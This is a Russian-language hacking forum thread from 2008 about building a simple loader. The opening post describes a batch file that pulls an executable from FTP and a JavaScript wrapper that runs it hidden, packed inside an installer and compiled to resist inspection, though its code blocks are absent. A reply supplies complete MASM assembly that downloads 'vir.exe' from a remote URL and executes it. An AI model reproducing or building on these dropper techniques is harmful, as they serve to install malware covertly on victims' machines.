Пишем простенький .bat лоадер

Discussion in 'PHP' started by keeberg, 12 Jan 2008.

  1. keeberg

    keeberg Banned

    Joined:
    5 Jan 2008
    Messages:
    39
    Likes Received:
    27
    Reputations:
    -15
    Пишем простенький .bat лоадер​


    Вот решил написать небольшой .BAT лоадер
    Незнал куда запостить, поэтому написал здесь....

    Итак, наш лоадер будет состоять из двух файлов.
    1) Непосредственно сам лоадер.
    2) Ява скрипт каторый будет запускать сам лоадер в скрытом режиме.

    ----Часть №1 (Лоадер)----

    Определим некоторые переменные:
    login - логин от фтп
    password - пароль от фтп
    ftp.server.com - IP адрес или домен вашего фтп
    file.exe - файл каторый мы загружаем с фтп
    Определившись с переменными создадим файл с названием load.bat и занесем в него команды, каторые приведены ниже:


    ----Часть №2 (Скрытие)----

    Теперь создаем скрипт с розширением .js и заносим в него некий код:


    ----Часть №3 (Упаковка)----

    Теперь бирем любой любой билдер инсталяционных пакетов (расписовать не буду так как их в сети очень много) и упаковываем наши файлы назначив главным файлом наш java скрипт....
    Также можно использовать всевозможные компиляторы .bat
     
    #1 keeberg, 12 Jan 2008
    Last edited: 12 Jan 2008
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    809
    Reputations:
    231
    А зачем компилировать bat?
     
    _________________________
  3. keeberg

    keeberg Banned

    Joined:
    5 Jan 2008
    Messages:
    39
    Likes Received:
    27
    Reputations:
    -15
    чтоб его невозможно было открыть блакнотом....
     
  4. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Если я не ошибаюсь, этот код сработает только через vbs-файл...
     
  5. keeberg

    keeberg Banned

    Joined:
    5 Jan 2008
    Messages:
    39
    Likes Received:
    27
    Reputations:
    -15
    Если не вериш проверь с js, если не доверяеш)))) Я думаю это большого труда не составит.....
     
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Очень очень боян года этак 98.
     
  7. xXvladXx

    xXvladXx Elder - Старейшина

    Joined:
    28 Oct 2007
    Messages:
    77
    Likes Received:
    54
    Reputations:
    5
    на асме мона написать лучше)))
    Code:
    .386 
    .model flat, stdcall 
    option casemap :none 
    include \MASM32\INCLUDE\windows.inc
    include \masm32\include\urlmon.inc
    include \MASM32\INCLUDE\kernel32.inc
    includelib \MASM32\LIB\kernel32.lib
    includelib \masm32\lib\urlmon.lib
    .const
    .data
    url db "http://mysite.com/vir.exe",0
    file db "C:/tmp.exe",0
    .data?
    .code
    start:
    invoke URLDownloadToFileA,0, addr url,addr file ,0,0
    invoke WinExec,addr file,0
    invoke ExitProcess,0
    end start
     
    h3xp1017 likes this.